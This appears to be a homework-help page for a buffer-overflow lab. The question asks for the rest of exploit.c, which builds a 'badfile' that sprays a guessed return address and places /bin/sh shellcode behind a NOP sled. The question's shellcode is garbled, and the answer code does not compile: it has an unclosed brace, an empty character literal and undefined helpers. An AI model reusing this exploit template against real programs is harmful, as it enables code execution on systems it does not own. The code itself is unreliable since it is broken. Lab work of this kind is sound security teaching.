We provide you with a partially completed exploit code called exploit.c. The goa
ID: 3853966 • Letter: W
Question
We provide you with a partially completed exploit code called exploit.c. The goal of this code is to construct contents for “badfile”. In this code, the shellcode is given to you. You need to develop the rest.
*PLEASE ANSWER THE "YOU NEED TO FILL THE BUFFER WITH APPROPRIATE CONTENTS HERE" *
s exploit.c /* A program that creates a file containing code for launching shell/ #include #include #include char shellcode[] /* xor1 %eax,%eax /* pushl %eax /s pushl $ex68732f2f /s pushl Sex6e69622f /*movl %esp,Xebx /* pushl %eax /* pushl %ebx /*movl %esp,%ecx /* cdq /* movb $8x8b,%al / int $ex8e "x311xce "x58" "x68"//sh" "x68""/bin" "x58" "X53 "x89 xe1" x99" "xcd" void main(int argc, char *argv) char buffr517]; FILE *badfile Initialize buffer with ex9e (NOP instruction) / memset(&buffer;, ex9e, 517) /s You need to fill the buffer with appropriate contents here * /* Save the contents to the file "badfile" badfile =fopen("·/badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile);Explanation / Answer
Answer for the given Question:
Please see the below code after filling the rest part, i pasted total main method code here in below.
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr,ret;
int offset = DEFAULT_OFFSET;
int codeSize = sizeof(shellcode);
int buffSize = sizeof(buffer);
if(argc > 1) offset = atoi(argv[1]); //allows for command line input
ptr=buffer;
a_ptr = (long *) ptr;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, buffSize);
//----------------------BEGIN FILL BUFFER----------------------\
ret = get_sp()+offset;
printf("Return Address: 0x%x ",get_sp());
printf("Address: 0x%x ",ret);
ptr = buffer;
a_ptr = (long *) ptr;
int i;
for (i = 0; i < 300;i+=4)
{
*(a_ptr++) = ret;
}
for(i = 486;i < codeSize + 486;++i)
{
buffer[i] = shellcode[i-486];
{
buffer[buffSize - 1] = '';
//-----------------------END FILL BUFFER-----------------------\
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);
Related Questions
drjack9650@gmail.com
Navigate
Integrity-first tutoring: explanations and feedback only — we do not complete graded work. Learn more.